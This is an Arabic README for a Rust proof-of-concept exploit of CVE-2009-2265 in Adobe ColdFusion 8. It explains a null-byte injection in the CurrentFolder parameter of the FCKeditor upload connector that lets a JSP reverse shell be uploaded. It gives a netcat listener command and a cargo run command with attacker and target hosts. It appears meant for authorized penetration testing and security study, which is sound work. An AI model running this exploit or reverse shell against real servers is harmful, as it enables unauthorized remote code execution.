
تنفيذ بلغة Rust لإثبات المفهوم (POC) لاستغلال CVE-2009-2265، ويستهدف Adobe ColdFusion 8.
تطبيق بلغة Rust لإثبات المفهوم (POC) الخاص باستغلال CVE-2009-2265، ويستهدف Adobe ColdFusion 8.
تسمح هذه الثغرة لمهاجم غير مصادق عليه برفع ملفات عشوائية إلى دليل يمكن الوصول إليه عبر الويب على خادم يعمل بنظام Adobe ColdFusion 8، مما يؤدي إلى تنفيذ كود عن بُعد (RCE).
upload.cfmCurrentFolderتوجد الثغرة في وظيفة رفع الملفات بمكوّن FCKeditor الموجود في المسار /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm. لا يتم تنظيف مُعامِل HTTP GET المُسمى CurrentFolder بشكل صحيح، مما يسمح بهجوم حقن بايت فارغ (%00).
من خلال صياغة طلب يتم فيه تعيين مُعامِل CurrentFolder إلى /<filename>.jsp%00، يمكن للمهاجم تجاوز فحوصات امتداد الملفات من جانب الخادم. يفسّر النظام الأساسي (غالبًا Java) البايت الفارغ على أنه نهاية السلسلة النصية، فيتعامل مع اسم الملف على أنه <filename>.jsp. يسمح ذلك للمهاجم برفع ملف JSP خبيث. يحفظ الخادم هذا الملف في دليل يمكن الوصول إليه بشكل عام (/userfiles/file/)، ويمكن تنفيذه بمجرد الوصول إلى عنوان URL الخاص به.
يقوم إثبات المفهوم (POC) هذا بأتمتة العملية عن طريق إنشاء حمولة جافا JSP لصدفة عكسية، ورفعها باستخدام ثغرة البايت الفارغ، ثم تشغيلها للحصول على شل على النظام المستهدف.
اتبع هذه الخطوات لتجميع الاستغلال وتشغيله.
قبل تشغيل الاستغلال، ابدأ مستمعًا على جهازك المحلي لاستقبال الصدفة العكسية الواردة.
nc -lnvp <attacker-port>
نفّذ الملف الثنائي المُجمَّع، مع توفير المضيف/المنفذ المحلي للصدفة العكسية والمضيف/المنفذ الخاص بالهدف البعيد.
cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>
بعد أن يقوم السكربت بتشغيل الحمولة، يجب أن تستقبل اتصالًا على مستمع Netcat الخاص بك.
هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. استخدمها بمسؤولية وفقط على الأنظمة التي تملكها أو لديك إذن صريح لاستخدامها.